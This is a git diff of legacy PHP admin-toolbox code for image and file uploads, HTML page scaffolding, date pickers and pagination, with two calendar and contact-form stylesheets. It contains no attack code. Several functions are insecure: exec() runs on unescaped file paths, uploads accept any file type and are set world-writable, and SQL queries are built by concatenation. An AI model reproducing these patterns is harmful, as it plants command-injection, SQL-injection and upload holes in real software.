+                       //img_resize($image_upload_array[1],ORIGINAL_PATH.$image_upload_array[0],ITEM_ORIGINAL);
+                       GLM_TOOLBOX::img_resize($image_upload_array[1],RESIZED_PATH.$image_upload_array[0],ITEM_RESIZED);
+                       GLM_TOOLBOX::img_resize(RESIZED_PATH.$image_upload_array[0],MIDSIZED_PATH.$image_upload_array[0],ITEM_MIDSIZED);
+                       GLM_TOOLBOX::img_resize(MIDSIZED_PATH.$image_upload_array[0],THUMB_PATH.$image_upload_array[0],ITEM_THUMB);
+                       $image_name = $image_upload_array[0];
+                       return($image_name);
+               }
+
+               /**
+                * img_resize :Resizes an image based on a full scale jpeg or gif
+                * @param string $image: path to image which needs to be resized
+                * @param string $thumb: path where resized image will live
+                * @param string $size : using axis size of new image
+                * 
+                * @return array $img_resize_array 
+                * @access public 
+                **/
+               function img_resize($path2image,$path2thumb,$size) 
+               {
+                       exec( "type convert", $output, $return );
+                       if( $return == 0 )
+                       {
+                               $command = substr( $output[0],11);//
+                               $pos = strpos($command,"convert");
+                               $Path2GraphicsTools = substr( $command, 0, $pos - 1 );
+                       }
+                       else
+                       {
+                               $Path2GraphicsTools = "/usr/X11R6/bin";
+                       }
+                       $imageName = basename($path2image);
+                       $thumbName = basename($path2thumb);
+
+                       $Path2GraphicsTools = "/usr/X11R6/bin";
+
+                       exec("$Path2GraphicsTools/convert -scale $size $path2image $path2thumb");
+
+                       $img_resize_array = array("$imageName","$path2image","$thumbName","$path2thumb");
+                       return($img_resize_array);
+               }
+
+               /**
+                * img_upload :Function moves the image to the destination directory 
+                Checking to make sure that it does not have same named file in dicectory.                      
+                Image must be either jpg ,png or gif format file to be uploaded.
+                * @param string $form_field: $form_field of image
+                * @param string $img_name: $form_field of image with _name
+                * @param string $destination_path : path to store uploaded image
+                * 
+                * @return array $img_upload_array
+                * @access public 
+                **/
+               function img_upload($form_field,$img_name,$destination_path) 
+               {
+                       if (ereg("[!@#$%^&()+={};:\'\" ]",$img_name)) 
+                       {
+                               $img_name = ereg_replace("[!@#$%^&()+={};:\'\" ]","-",$img_name);
+                       }
+
+                       $size = getImageSize($form_field);
+
+                       if( $size[2] == 1 || $size[2] == 2 || $size[2] == 3 ) 
+                       {
+                               $i = "0";
+                               $d = dir($destination_path);
+                               $img_name_in_use = "FALSE";
+                               while($entry=$d->read()) 
+                               {
+                                       if ($entry == $img_name) 
+                                       {
+                                               $img_name_in_use = "TRUE";
+                                       }
+                                       ++$i;
+                               }
+                               $d->close();
+
+                               if ($img_name_in_use == "TRUE") 
+                               {
+                                       $new_img_name = mktime().$img_name;
+                                       $new_img_location = $destination_path.'/'.$new_img_name;
+
+                                       copy($form_field,$new_img_location);
+
+                                       chmod($new_img_location, 0666);
+
+                                       $img_upload_array = array("$new_img_name","$new_img_location");
+                               }
+                               else 
+                               {
+                                       $new_img_name = $img_name;
+                                       $new_img_location = $destination_path.'/'.$new_img_name;
+
+                                       copy($form_field,$new_img_location);
+
+                                       chmod($new_img_location, 0666);
+
+                                       $img_upload_array = array("$new_img_name","$new_img_location");
+                               }
+                       }
+                       else 
+                       {
+                               echo '<p style="background-color:red;color:white;">'
+                                       .'The file you uploaded was of an incorect type, please only upload .gif,.png or .jpg files'
+                                       .'<BR CLEAR=ALL>'
+                                       .'</p>'
+                                       ."Hit your browser's back button to continue"
+                                       .'<P>';
+                               $error[0] = "ERROR";
+                               return($error);
+                       }
+
+                       return($img_upload_array);
+               }
+
+               /**
+                * file_upload :Uploads a file same way as image_uploads does
+                * @param string $form_field: $form_field of image
+                * @param string $file_name: $form_field of image with _name
+                * @param string $destination_path : path to store uploaded image
+                * 
+                * @return string $file_upload
+                * @access public 
+                **/
+               function file_upload($form_field,$file_name,$destination_path) 
+               {
+                       if (ereg("[!@#$%^&()+={};:\'\" ]",$file_name)) 
+                       {
+                               $file_name = ereg_replace("[!@#$%^&()+={};:\'\" ]","_",$file_name);
+                       }
+
+                       $i = "0";
+                       $d = dir($destination_path);
+                       $file_name_in_use = "FALSE";
+                       while($entry=$d->read()) 
+                       {
+                               if ($entry == $file_name) 
+                               {
+                                       $file_name_in_use = "TRUE";
+                               }
+                               ++$i;
+                       }
+                       $d->close();
+
+                       if ($file_name_in_use == "TRUE") 
+                       {
+                               $new_file_name = mktime().$file_name;
+                               $new_file_location = $destination_path.'/'.$new_file_name;
+
+                               copy($form_field,$new_file_location);
+
+                               chmod($new_file_location, 0666);
+
+                               $file_upload = $new_file_name;
+                       }
+                       else 
+                       {
+                               $new_file_name = $file_name;
+                               $new_file_location = $destination_path.'/'.$new_file_name;
+
+                               copy($form_field,$new_file_location);
+
+                               chmod($new_file_location, 0666);
+
+                               $file_upload = $new_file_name;
+                       }
+                       return($file_upload);
+               }
+
+               /* Misc. Functions */
+
+               /**
+                * http_strip :Strips the http:// part from start of string
+                * @param string $string : $string
+                * 
+                * @return string $stirng minus http:// in front
+                * @access public 
+                **/
+               function http_strip(&$string) 
+               {
+                       $test_string = strtolower($string);
+                       if(substr($test_string,0,7) == "http://") 
+                       {
+                               $string = substr($string,7);
+                       }
+               }
+
+               /**
+                * footer : used for admin page footer to close out the top function 
+                * 
+                * @return void 
+                * @access public 
+                **/
+               function footer() 
+               {
+                       echo '</td>
+                               </tr>
+                               </table>
+                               <!----------------- COPYRIGHT LINE ------------------->
+                               <hr width=680 noshade size="1">
+                               <div class="footer">
+                               <i>Produced by</i>
+                               <a href="http://www.gaslightmedia.com/" target=blank><span style="color:#5070A0;font-size:10px;">
+                               <i>Gaslight Media</i></span></a>
+                               <i>All Rights Reserved</i></div>
+                               </body>
+                               </html>';
+               }
+
+               /**
+                * top :Output the starting html and admin table tags
+                * @param mixed $message: The title
+                * @param mixed $hp: The help file to use
+                * @param mixed $hp2 = NULL : The help file to use (links to gaslightmedia.com)
+                * 
+                * @return void 
+                * @access public 
+                **/
+               function top($message, $hp,$hp2 = NULL) 
+               {
+                       ?>
+                               <html>
+                               <head>
+                               <title></title>
+                               <link type="text/css" rel=stylesheet href=<?echo URL_BASE?>admin/main.css>
+                               <script src="<?echo URL_BASE."admin/wm.js"?>"></script>
+                               <?
+                               echo '
+                               <script type="text/javascript" language="JavaScript">
+                               _editor_url = "'.URL_BASE.'admin/htmlarea/";
+                       </script>'; 
+
+                       echo '<script type="text/javascript" src="'.URL_BASE.'admin/htmlarea/htmlarea.js"></script>';
+                       echo '<script type="text/javascript" src="'.URL_BASE.'admin/htmlarea/lang/en.js"></script>';
+                       echo '<script type="text/javascript" src="'.URL_BASE.'admin/htmlarea/dialog.js"></script>';
+                       echo '<link type="text/css" rel=stylesheet href="'.URL_BASE.'admin/htmlarea/htmlarea.css">';
+                       ?></head>
+                               <BODY BGCOLOR="#FFFFFF" LINK="#000080" VLINK="#000080" ALINK="#000080">
+                               <TABLE width=500 align="center" BGCOLOR="#C0C0C0" CELLPADDING=2 CELLSPACING=0 BORDER=2>
+                               <TR>
+                               <TD BGCOLOR="#003366">
+                               <TABLE BGCOLOR="#C0C0C0" CELLPADDING=0 CELLSPACING=0 BORDER=0 WIDTH="100%">
+                               <TR>
+                               <TD BGCOLOR="#003366">
+                               <TABLE CELLPADDING=0 CELLSPACING=0 BORDER=0 ALIGN=LEFT>
+                               <tr>
+                               <TD><IMG SRC="<?echo LOGO_IMG?>" BORDER=0 VSPACE=0 HSPACE=0></TD>
+                               </tr>
+                               </TABLE>
+                               &nbsp;&nbsp;
+                       <div class="topheader">
+                               <?echo $message?></div>
+                               </TD>
+                               <TD BGCOLOR="#003366" ALIGN=RIGHT valign="top">
+                               <TABLE CELLPADDING=0 CELLSPACING=0 BORDER=0 ALIGN=RIGHT>
+                               <tr>
+                               <TD nowrap="nowrap">
+                               <?php
+                               if($hp2 != "")
+                               {
+                                       echo '<a style="color:white;"
+                                               href="http://www.gaslightmedia.com/manuals/html/'.$hp2.'.html" 
+                                               target="_blank">Online Help Guide</a>&nbsp;';
+                                       echo '<a style="color:white;"
+                                               href="http://www.gaslightmedia.com/manuals/pdf/'.$hp2.'.pdf" 
+                                               target="_blank">Printable Help Guide</a>';
+                               }
+                               else
+                               {
+                                       ?>
+                                               <script lang="javascript">
+                                               var o = new Object();
+                                       o.url = "<?echo $hp?>";
+                                       o.popup = '1';
+                                       o.popup.name = 'Help';
+                                       o.width = 300;
+                                       o.height = 500;
+                                       o.scroll = true;
+                                       </script>
+                                               <A HREF="" onClick="glm_open(o); return(false);">
+                                               <IMG SRC="<?echo URL_BASE."images/help.gif"?>" BORDER=0></A>
+                                               <?php
+                               }
+                       ?>
+                               </TD>
+                               </tr>
+                               </TABLE>
+                               </TD>
+                               </TR>
+                               </TABLE>
+                               </TD>
+                               </TR>
+                               <TR>
+
+                               <TD>
+                               <?
+               }
+
+               /**
+                * top2 : alias to top()
+                * 
+                * @param mixed $message: message title 
+                * @param mixed $hp: help file 
+                * @param mixed $hp2 = NULL : gaslight help file
+                * @uses GLM_TOOLBOX::top()
+                * 
+                * @return void 
+                * @access public 
+                **/
+               function top2($message, $hp,$hp2 = NULL) 
+               {
+                       // make this an alias to top()
+                       // by calling top instead of adding extra code
+                       GLM_TOOLBOX::top($message,$hp,$hp2);
+
+               }
+
+               /**
+                * htmlcode: Output code to enable htmlarea for the page
+                * MUST BE CALLED AFTER TEXTAREAS ON PAGE
+                * @param mixed $w = 570: width of htmlarea in px
+                * @param mixed $h = 400: height of htmlarea in px
+                * 
+                * @return void
+                * @access public 
+                **/
+               function htmlcode($w = 570,$h = 400)
+               {
+                       echo '
+<style type="text/css">
+    /*<![CDATA[*/
+        <!--
+                .textarea { height: '.$h.' px; width: '.$w.' px; } 
+        -->
+        /*]]>*/
+    </style>
+<script type="text/javascript">
+    //<![CDATA[
+      _editor_url = "'.URL_BASE.'admin/htmlarea";
+      _editor_lang = "en";
+    //]]>
+    </script><!-- load the main HTMLArea file -->
+    <script type="text/javascript" src="'.URL_BASE.'admin/htmlarea/htmlarea.js">
+    </script>
+';
+                       echo '
+                       <script type="text/javascript">
+    //<![CDATA[
+
+                ';
+               if( HTMLAREA_CONTEXT_MENU )
+               {
+                echo '
+                HTMLArea.loadPlugin("ContextMenu");
+                ';
+               }
+               if( HTMLAREA_TABLES )
+               {
+                echo '
+                 HTMLArea.loadPlugin("TableOperations");
+                 ';
+               }
+                 echo '
+     initdocument = function () {
+        var editor = new HTMLArea("description");
+  
+               ';
+
+       echo '
+       editor.config.toolbar = [
+               [ "fontname", "space",
+                 "fontsize", "space",
+                 "formatblock", "space",
+                 "bold", "italic", "underline", "separator" ],
+
+               [ "justifyleft", "justifycenter", "justifyright", "justifyfull", "separator",
+
+                 "insertorderedlist", "insertunorderedlist", "outdent", "indent", "separator",
+                 "forecolor", "separator",
+                 "inserthorizontalrule", "createlink"';
+               if( HTMLAREA_TABLES )
+               {
+                 echo ', "inserttable"';
+         }
+                 echo ', "htmlmode", "separator",
+                 "copy", "cut", "paste", "space", "undo", "redo" ]
+       ];      
+       ';
+               if( HTMLAREA_CONTEXT_MENU )
+               {
+               echo '
+  // add a contextual menu
+  editor.registerPlugin("ContextMenu");
+  ';
+               }
+  echo '
+
+  // load the stylesheet used by our CSS plugin configuration
+  editor.config.pageStyle = "@import url(../../styles.css);";
+  ';
+               if( HTMLAREA_TABLES )
+               {
+  echo '
+  
+  // register the TableOperations plugin
+  editor.registerPlugin(TableOperations); 
+  ';
+               }
+  echo '
+  editor.generate();
+      } 
+        function addEvent(obj, evType, fn)
+        { 
+                if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+                else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+                else {  return false; } 
+        } 
+        addEvent(window, \'load\', initdocument);
+    //]]>
+    </script>  
+                               ';
+               }
+
+               /**
+                * date_entry : Generate the select boxes for date entry
+                * month-day-year as drop down select
+                * @param mixed $month: 
+                * @param mixed $day: 
+                * @param mixed $year: 
+                * @param mixed $month_name: name of select month 
+                * @param mixed $day_name: name of select day 
+                * @param mixed $year_name : name of select year
+                * 
+                * @return string
+                * @access public 
+                **/
+               function date_entry($month,$day,$year,$month_name,$day_name,$year_name) 
+               {
+                       $cur_date = getdate();
+
+                       if($month == "") 
+                       {
+                               $month = $cur_date['mon'];
+                       }
+                       if($day == "") 
+                       {
+                               $day = $cur_date['mday'];
+                       }       
+                       if($year == "") 
+                       {
+                               $year = $cur_date['year'];
+                       }
+                       $date = '<SELECT NAME="'.$month_name.'">';
+                       for($i=1;$i<13;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="';
+                               if($i < 10)
+                               {
+                                       $date .= "0";
+                               }
+                               $date .= $i.'"';
+                               if($i == $month) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;        
+                       }
+                       $date .= '</SELECT>';
+                       $date .= '<SELECT NAME="'.$day_name.'">';
+                       for($i=1;$i<32;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="';
+                               if($i < 10) 
+                               {
+                                       $date .= "0";
+                               }
+                               $date .= $i.'"';
+                               if($i == $day) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;        
+                       }       
+                       $date .= '</SELECT>';
+                       $date .= '<SELECT NAME="'.$year_name.'">';
+                       for($i=2000;$i<2023;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="'.$i.'"';
+                               if($i == $year) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;
+                       }
+                       $date .= '</SELECT>';
+                       return $date;
+               }       
+
+               /**
+                * contact_date_entry : build select boxes for date entry going backwords in years
+                * @param mixed $month: 
+                * @param mixed $day: 
+                * @param mixed $year: 
+                * @param mixed $month_name: name of select month
+                * @param mixed $day_name: name of select day
+                * @param mixed $year_name : name of select year
+                * 
+                * @return void
+                * @access public 
+                **/
+               function contact_date_entry($month,$day,$year,$month_name,$day_name,$year_name) 
+               {
+                       $cur_date = getdate();
+
+                       if($month == "") 
+                       {
+                               $month = $cur_date['mon'];
+                       }
+                       if($day == "") 
+                       {
+                               $day = $cur_date['mday'];
+                       }       
+                       if($year == "") 
+                       {
+                               $year = $cur_date['year'];
+                       }
+                       $date = '<SELECT NAME="'.$month_name.'">';
+                       for($i=1;$i<13;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="';
+                               if($i < 10)
+                               {
+                                       $date .= "0";
+                               }
+                               $date .= $i.'"';
+                               if($i == $month) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;        
+                       }
+                       $date .= '</SELECT>';
+                       $date .= '<SELECT NAME="'.$day_name.'">';
+                       for($i=1;$i<32;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="';
+                               if($i < 10) 
+                               {
+                                       $date .= "0";
+                               }
+                               $date .= $i.'"';
+                               if($i == $day) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;        
+                       }       
+                       $date .= '</SELECT>';
+                       $date .= '<SELECT NAME="'.$year_name.'">';
+                       $ystart = $cur_date['year'] - 10;
+                       for($i=$ystart;$i<=$year;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="'.$i.'"';
+                               if($i == $year) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;
+                       }
+                       $date .= '</SELECT>';
+                       return $date;
+               }
+
+               /**
+                * time_entry : build select boxes for time entry
+                * 
+                * @param mixed $H: 
+                * @param mixed $m: 
+                * @param mixed $F: 
+                * @param mixed $H_name: name of select hour
+                * @param mixed $m_name: name of select min
+                * @param mixed $F_name : name of select sec
+                * 
+                * @return string
+                * @access public 
+                **/
+               function time_entry( $H, $m, $F, $H_name, $m_name, $F_name ) 
+               {
+                       $cur_date = getdate();
+
+                       if($H == "") 
+                       {
+                               $H = $cur_date['hours'];
+                       }
+                       if($m == "") 
+                       {
+                               $m = $cur_date['minutes'];
+                       }       
+                       if($H>12) 
+                       {
+                               $F = "PM";
+                               $H = $H - 12;
+                       }
+                       $time = "Hr:<SELECT NAME=\"$H_name\" size=\"1\">";
+                       for($i=1;$i<=12;$i++) 
+                       {
+                               $time .= "<OPTION VALUE=\"";
+                               if($i < 10)
+                               {
+                                       $time .= "0";
+                               }
+                               $time .= "$i\"";
+                               if($i == $H) 
+                               {
+                                       $time .= " SELECTED";
+                               }
+                               $time .= ">$i\n";       
+                       }
+                       $time .= "</SELECT>\n";
+                       $time .= "Min:<SELECT NAME=\"$m_name\" size=\"1\">";
+                       for($i=0;$i<60;$i=$i+15) 
+                       {
+                               $time .= "<OPTION VALUE=\"";
+                               if($i < 10) 
+                               {
+                                       $time .= "0";
+                               }
+                               $time .= "$i\"";
+                               if($i == $m) 
+                               {
+                                       $time .= " SELECTED";
+                               }
+                               $time .= ">";
+                               if($i < 10) 
+                               {
+                                       $time .= "0";
+                               }
+                               $time .= "$i\n";        
+                       }       
+                       $time .= "</SELECT>";
+                       $time .= "<SELECT NAME=\"$F_name\" size=\"1\">";
+                       $time .= "<OPTION VALUE=\"AM\"";
+                       if($F == "AM") 
+                       {
+                               $time .= " SELECTED";
+                       }
+                       $time .= ">AM\n";
+                       $time .= "<OPTION VALUE=\"PM\"";
+                       if($F == "PM") 
+                       {
+                               $time .= " SELECTED";
+                       }
+                       $time .= ">PM\n";
+                       $time .= "</SELECT>\n";
+                       return $time;
+               }
+
+               /**
+                * get_parentid: get the (highest level) parent category for this id
+                * @param mixed $id: id from bus_category table
+                * 
+                * @return int parent  
+                * @access public 
+                **/
+               function get_parentid( $id )
+               {
+                       static $parentshow;
+                       if( $id == 0 )
+                       {
+                               return( 0 );            
+                       }
+                       if(!is_array($parentshow))
+                       {
+                               $qs = "select parent from bus_category where id = $id";
+                               $parentrow = GLM_TOOLBOX::db_auto_get_data( $qs );        
+                       }
+                       if($parentrow[0]['parent'] == 0)
+                       {
+                               return($id);
+                       }
+                       else
+                       {
+                               return( GLM_TOOLBOX::get_parentid($parentrow[0]['parent']) );
+                       }
+               }
+
+               /**
+                * build_picklist:Builds a pick list from an array
+                * @param mixed $fieldname: fieldname field name for select
+                * @param mixed $data: data array of data
+                * @param mixed $selected: selected witch element is selected
+                * @param mixed $type = "standard": type Standard,multi
+                * @param mixed $auto = 0: auto
+                * @param mixed $width = NULL : width width controlled by css
+                * 
+                * @return void 
+                * @access public 
+                **/
+               function build_picklist( $fieldname, $data, $selected, $type = "standard",$auto = 0,$width = NULL )
+               {
+                       if(!is_array($selected))
+                       {
+                               $sel[0] = $selected;
+                       }
+                       else
+                       {
+                               $sel = $selected;
+                       }
+                       if($auto == 1)
+                               $autosubmit = "onChange=\"form.submit()\"";
+                       if($width)
+                               $autosubmit .= "style=\"width:".$width."px;\"";
+                       switch( $type )
+                       {
+                               case "multiple":
+                                       $str = "<SELECT NAME=\"".$fieldname."\" multiple size=\"10\" ".$autosubmit.">\n";
+                               while( list($key, $val) = each($data) ) 
+                               {
+                                       if( in_array($key,$sel) )
+                                       {
+                                               $select = " SELECTED ";
+                                       }
+                                       else
+                                               $select = "";
+                                       $str .= "       <OPTION VALUE=\"$key\"".$select.">$val\n";
+                               }
+                               break;
+                               case "simple":
+                                       $str = "<SELECT NAME=\"$fieldname\" ".$autosubmit.">\n";
+                               for( $i=0 ; $i<count($data) ; $i++ ) 
+                               {
+                                       $select = (in_array($data[$i],$sel)) ? " SELECTED ":"";
+                                       $str .= "       <OPTION VALUE=\"".$data[$i]."\"".$select.">".$data[$i]."\n";
+                               }
+                               break;
+
+                               case "standard":
+                               default:
+                                       $str = "<SELECT NAME=\"$fieldname\" ".$autosubmit.">\n";
+                                       while( list($key, $val) = each($data) ) 
+                                       {
+                                               $select = (in_array($key,$sel)) ? " SELECTED ":"";
+                                               $str .= "       <OPTION VALUE=\"$key\"".$select.">$val\n";
+                                       }
+                                       break;
+                       }
+                       $str .= "</SELECT>\n";
+
+                       return( $str );
+
+               }
+
+               /**
+                * create_page_links:Create prev and next links 
+                * to page through the results.
+                * @param mixed $totalnum: The total result of the query
+                * @param mixed $num: The total result for the page
+                * @param mixed $start=0: The starting num defaults to 0
+                * @param mixed $params: variables to add to the url
+                * @param mixed $ENTRIES_PER_PAGE: number of items on page defaults to the ENTRIES_PER_PAGE
+                * 
+                * @return string of links 
+                * @access public 
+                **/
+               function create_page_links($totalnum,$num,$start=0,$params,$page_length=ENTRIES_PER_PAGE)
+               {
+                       // find out which page we're on.
+                       if($totalnum!=0)
+                       {  
+                               $total_pages = floor($totalnum / $page_length);         // total pages = the total result divided by page length rounded down 
+                               $total_pages++;                                                                         // then add one
+                               if($start == 0)                                                                         // if start is 0 then page is one
+                               {
+                                       $page = 1;                                                                              
+                               }
+                               else    
+                               {
+                                       $page = ($start / $page_length) + 1;
+                               }
+                       }
+
+                       if($totalnum > $page_length && ( $page != $totalpages ) )
+                       {
+                               $end = $page_length + $start;
+                       }
+                       else
+                       {
+                               $end = $totalnum;
+                       }
+                       $last = $start - $page_length;  
+                       if(($start - $page_length) < 0)
+                               $prev = "";
+                       else    
+                               $prev = "<span class=\"accenttext\">[</span><a class=\"small\"
+                                       href=\"$GLOBALS[PHP_SELF]?start=".$last."&$params\">PREVIOUS PAGE</a><span
+                                       class=\"accenttext\"> ]</span>";
+                       if($end < $totalnum)
+                               $next = "<span class=\"accenttext\">[</span><a class=\"small\"
+                                       href=\"$GLOBALS[PHP_SELF]?start=".$end."&$params\">NEXT PAGE</a><span
+                                       class=\"accenttext\"> ]</span>";
+                       else    
+                               $next = "";
+                       $starting = $start + 1; 
+                       $last_c = $start + $num;
+                       $links = '<center><span class="pagetitle">Listings Displayed: </span><span
+                               class="accenttext">'.$starting.' to '.$last_c.'</span>
+                               <span class="pagetitle"> of '.$totalnum.'<br></span> '.$prev. ' &nbsp; <span 
+                               class="pagetitle"></span> '.$next.'<BR></span></center>';       
+                       return($links);
+               }
+
+               /**  valid email
+               Checks for a valid format and good (mx check) 
+               email address.
+               @param string email the email address as string.
+               @return boolean 
+               */ 
+               function valid_email ($email) { 
+                       if (eregi("^[0-9a-z]([-_.]?[0-9a-z])*@[0-9a-z]([-.]?[0-9a-z])*\\.[a-z]{2,3}$", $email, $check)) { 
+                               if ( getmxrr(substr(strstr($check[0], '@'), 1), $validate_email_temp) ) { 
+                                       return TRUE; 
+                               } 
+                       } 
+                       return FALSE; 
+               }
+       }
+?>
diff --git a/contactform.css b/contactform.css
new file mode 100755 (executable)
index 0000000..5d53c89
--- /dev/null
@@ -0,0 +1,90 @@
+.req {color: #f00;}
+/* Main table */
+#contact {text-align: center;}
+#contact table { 
+       background-color: #e5d3c1;
+       border: 1px solid #eee;
+       border-collapse: collapse;
+               width: 350px;
+margin-left: auto;
+margin-right: auto;
+               font-size: 12px;
+               margin-top: 1em;
+               }
+/* Any Table inside the form */        
+#contact table table {
+       margin-left: 0;
+       border: 0px solid #ddd;
+       }
+#contact table table td        {       border: 0px solid #ddd;}
+       
+/* TD's */     
+
+#contact td { 
+       padding: 5px;
+       font-family: arial, helvetica, sans-serif;
+       color: #000;
+       vertical-align: top;
+               border: 1px solid #eee;
+       border-collapse: collapse;}
+/* Left Cells */
+.labelcell { 
+       background-color: transparent; 
+       text-align: right;
+       padding-right: 10px;
+       padding-top: 3px;
+       width: 150px;
+       } 
+/*Right Cells */
+.fieldcell {
+       padding-left: 4px;
+       width: 200px;
+       } 
+
+/* Misc */
+textarea {width: 340px; height: 100px; display:block;}
+
+/* WARNINGS */
+#form-warning-top {
+       margin-top: 1em;
+       margin-bottom: 0.5em;
+       color: #f00;
+       font-size: 14px;
+       font-weight: bold;
+       }
+/* SHow hide instruction div */
+#contact table tr td .form-warning-inside {display: none;}
+#contact table tr.req td .form-warning-inside {
+       display: block;
+       background-image: url('assets/error.gif');
+       background-repeat:no-repeat;
+       background-position: top left;
+       padding: 2px 2px 2px 22px;}
+
+/* Showing/hiding rows */
+/*invisible*/
+#contact table tr td.instructioncell {
+       width: 200px;
+       white-space: nowrap;
+       color: #e5d3c1;
+       }
+       
+/*visible*/
+#contact table tr.req {
+       border: 2px solid #f00;
+       background-color:#FCD6D4;
+       border-collapse: separate;}
+/*color*/
+#contact table tr.req td.labelcell                             {background-color:#FCD6D4;}
+#contact table tr.req td.fieldcell                             {background-color:#FCD6D4;}
+#contact table tr.req td.instructioncell       {background-color:#FCD6D4;}     
+#contact table tr.req td.instructioncell {
+       padding: 4px;
+       padding-left: 20px;
+       background-image: url('assets/error.gif');
+       background-repeat:no-repeat;
+       background-position: center left;
+       border-width: 0;
+       color: #000;
+       }
+
diff --git a/event.css b/event.css
new file mode 100755 (executable)
index 0000000..7cba2c1
--- /dev/null
+++ b/event.css
@@ -0,0 +1,203 @@
+/* event calendar styles*/
+table.caltable {
+       font-family: Arial, Helvetica, sans-serif;
+       color: #003266;
+       font-size: 10px;
+       border:solid #003266 1px;
+       border-collapse: collapse; 
+       width: 100%;
+       margin-right: 20px;
+       margin-top: 10px;
+       clear: both;
+       }
+table.caltablesmall {
+       float: left;
+       font-family: tahoma, arial, sans-serif;
+       color: #888;
+       border:solid #036 1px;
+       margin:0 0 0 5px;
+       border-collapse: collapse;
+       width: 120px;
+       }
+table.caltable td {border:solid #003266 1px;}  
+table.caltablesmall td {border:solid #003266 1px;border-collapse: collapse;}   
+td.caltitle {
+       text-align:center;
+       font-weight:bold;
+       background-color: #00387B;
+       color: white;
+       }
+td.caltitle a {color:white;margin:0;padding:0; text-transform: uppercase;}
+td.calmonth {
+       text-align:center;
+       font-weight:bold;
+       background-color: #00387B;
+       color: white;
+       font-size: 14px;
+       text-transform: uppercase;}     
+td.calmonthsmall {
+       text-align:center;
+       font-weight:bold;
+       background-color: #00387B;
+       color: white;
+       font-size: 9px;
+       text-transform: uppercase;}     
+td.calspacer { background-color:#eee;
+       font-size: 4px;}
+td.calspacersmall {
+       background-color:#eee;
+       font-size: 4px;
+}
+td.caldayheader{
+       text-align:center;
+       height:auto;
+       background-color: #A8C291;
+       color:#000;
+       width: 68px;
+       width: auto;
+       }
+td.caldayheadersmall{
+       text-align:center;
+       height:auto;
+       background-color: #A8C291;
+       color:#000;
+       width: 5px;
+       width: auto;
+       font-size: 10px;
+       }
+
+td.calday {
+       text-align:left;
+       width: 77px;
+       height: 77px;
+       font-size: 10px;
+       font-family: tahoma, arial, sans-serif;}
+td.caldaysmall {
+       font-family: tahoma, arial, sans-serif;
+       font-size: 9px;
+       text-align:center;
+       padding: 2px;
+       }
+/* td.calday a { display: block; margin-top: 0.5em; }*/
+td.calday a:link { color: #000; }
+td.calday a:visited { color: #333; }
+td.calday a:active { color: #000; }
+td.calday a:hover { color: #555;  }
+
+td.caldaysmall a { }
+td.caldaysmall a:link { color: #000; }
+td.caldaysmall a:visited { color: #222; }
+td.caldaysmall a:active { color: #000; }
+td.caldaysmall a:hover { color: #000; }
+
+td.calmonthsmall a { font-weight:bold; margin:0;padding:0; color:white;}
+
+img.calleftarrow { float:left;}
+img.calrightarrow { float: right;}
+
+/* FLAT VIEW */
+.eventcontainer {
+       font-family: arial, helvetica, sans-serif;
+       font-size: 12px;
+       width:560px;;
+       padding-bottom: 1em;
+       margin-bottom: 1em;
+       border-bottom: 1px solid black;}
+.eventimg1 {
+       float: right;
+       border: 0px solid #8094C0;
+       margin: 0 10px 10px 10px;
+       }
+.eventimg2 {
+       float: left;
+       border: 0px solid #8094C0;
+       margin: 0 10px 10px 10px;
+       }
+.eventimg3 {
+       float: right;
+       border: 0px solid #8094C0;
+       margin: 0 10px 10px 10px;
+       }               
+.eventheader {
+       font-size: 18px;
+       font-weight: bold;
+       color: #13246C;
+       padding-top: 1em;
+       }
+.eventdate {font-weight: bold;  color: #A3161F;}
+
+.eventcontact {font-weight: bold;  color: #44609D}
+.eventvalue a:link, .eventvalue a:visited, .eventvalue a:hover, .eventvalue a:active { font-weight: bold; text-decoration: underline;}
+.eventvalue a:link {color: #13246C;}
+.eventvalue a:visited {color: #13246C;}
+.eventvalue a:active {color: #13246C;}
+.eventvalue a:hover {color: #000;}
+
+.eventdescr {margin: 0.5em 0;}
+#smallcals {border: 0px solid red; float: right;}
+
+
+/* customized */
+.topic a {display: block; padding: 3px;}
+.topic div {border-top: 1px solid #aaa;} 
+
+
+/* SELECT TOPICS */
+#topicsearch {margin: 0 0 10px 0; display:block;float:left; background: #eee; padding: 1px; border: 1px dotted #ddd;}
+#topicsearch .topicsearchrow {clear: left;}
+#topicsearch .topicsearchheader {width:12px;height:12px; float:left; position: relative;  border: 1px solid #666; margin-bottom: 1px; margin-right: 4px; font-size: 1px;}
+#topicsearch a  {display: block;  position: relative; font-size: 10px;}
+#topicsearch a:link  {color: #000;}
+#topicsearch a:visited  {color: #333;}
+#topicsearch a:active  {color: #000;}
+#topicsearch a:hover  {color: #666;}
+
+
+/* --- */
+
+#monthsearch { display:block; border-bottom: 1px solid black; padding-bottom: 1em; width: 550px; }
+#monthsearch form {display:block;float:left;font-size: 12px;clear: both;}
+#monthsearch select, #monthsearch input   {font-size: 12px; margin-right: 5px;}
+#monthsearch a {margin-left: 18px;}
+#monthsearch a:link {color: #000;}
+#monthsearch a:visited {color: #000;}
+#monthsearch a:hover {color: #00387B;}
+#monthsearch a:active {color: #000;}
+
+
+
+.color1 {background-color: #FFCCCC;}
+.color2 {background-color: #CC9999;}
+.color3 {background-color: #FF9999;}
+.color4 {background-color: #FFCCFF;}
+.color5 {background-color: #CC99CC;}
+
+.color6 {background-color: #FF99FF;}
+.color7 {background-color: #CCCCFF;}
+.color8 {background-color: #9999CC;}
+.color9 {background-color: #9999FF;}
+.color10 {background-color: #CCFFFF;}
+
+.color11 {background-color: #99CCCC;}
+.color12 {background-color: #99FFFF;}
+.color13 {background-color: #CCFFCC;}
+.color14 {background-color: #99CC99;}
